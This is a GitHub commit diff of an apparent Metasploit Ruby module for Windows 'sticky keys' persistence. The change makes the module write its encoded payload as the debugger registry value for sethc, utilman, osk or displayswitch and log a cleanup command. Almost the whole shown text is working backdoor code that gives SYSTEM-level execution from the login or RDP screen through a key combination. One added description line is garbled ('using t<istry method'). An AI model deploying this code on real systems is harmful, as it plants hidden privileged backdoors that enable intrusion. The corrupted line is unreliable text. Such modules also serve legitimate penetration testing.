Skip to content

Commit fe05cca

Browse files
committed
fix: sticky_keys persistence with new mixin and cleanup rc file
1 parent 3be1575 commit fe05cca

File tree

1 file changed

+10
-22
lines changed

1 file changed

+10
-22
lines changed

modules/exploits/windows/persistence/sticky_keys.rb

Lines changed: 10 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -38,16 +38,11 @@ def initialize(info = {})
3838
3939
Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded
4040
to the target prior to running the module. By default, a SYSTEM command prompt is installed
41-
using the registry method if this module is run without modifying any parameters.
41+
using t<istry method if this module is run without modifying any parameters.
4242
},
4343
'Author' => ['OJ Reeves'],
4444
'Platform' => [ 'win' ],
4545
'SessionTypes' => ['meterpreter', 'shell'],
46-
'Actions' => [
47-
['ADD', { 'Description' => 'Add the backdoor to the target.' }],
48-
['REMOVE', { 'Description' => 'Remove the backdoor from the target.' }]
49-
],
50-
'DefaultAction' => 'ADD',
5146
# these are lies, but for compatibility
5247
'Arch' => ARCH_CMD,
5348
'Targets' => [ [ 'Automatic', {} ] ],
@@ -69,9 +64,7 @@ def initialize(info = {})
6964

7065
register_options([
7166
# XXX add magnify.exe, narrator, atbroker? All listed in mitre attack
72-
OptEnum.new('TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]),
73-
# XXX this should be upgraded to drop a payload of our choosing instead
74-
OptString.new('EXE', [true, 'Executable to execute when the exploit is triggered.', '%SYSTEMROOT%\system32\cmd.exe'])
67+
OptEnum.new('BIN_TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]),
7568
])
7669

7770
deregister_options('WritableDir')
@@ -81,7 +74,7 @@ def initialize(info = {})
8174
# Returns the name of the executable to modify the debugger settings of.
8275
#
8376
def get_target_exe_name
84-
case datastore['TARGET']
77+
case datastore['BIN_TARGET']
8578
when 'UTILMAN'
8679
'Utilman.exe'
8780
when 'OSK'
@@ -97,7 +90,7 @@ def get_target_exe_name
9790
# Returns the key combinations required to invoke the exploit once installed.
9891
#
9992
def get_target_key_combo
100-
case datastore['TARGET']
93+
case datastore['BIN_TARGET']
10194
when 'UTILMAN'
10295
'WINDOWS+U'
10396
when 'OSK'
@@ -126,25 +119,20 @@ def check
126119
#
127120
# Runs the exploit.
128121
#
129-
def run
122+
def install_persistence
130123
unless is_admin?
131124
fail_with(Failure::NoAccess, 'The current session does not have administrative rights.')
132125
end
133126

134127
print_good('Session has administrative rights, proceeding.')
135128

136129
target_key = get_target_exe_reg_key
130+
command = payload.encoded
137131

138-
if action.name == 'ADD'
139-
command = expand_path(datastore['EXE'])
140-
141-
registry_createkey(target_key)
142-
registry_setvaldata(target_key, DEBUG_REG_VALUE, command, 'REG_SZ')
132+
registry_createkey(target_key)
133+
registry_setvaldata(target_key, DEBUG_REG_VALUE, command, 'REG_SZ')
143134

144-
print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.")
145-
else
146-
registry_deletekey(target_key)
147-
print_good("'Sticky keys' removed from registry key #{target_key}.")
148-
end
135+
print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.")
136+
@clean_up_rc << "reg deletekey -k '#{target_key}'\n"
149137
end
150138
end

0 commit comments

Comments
 (0)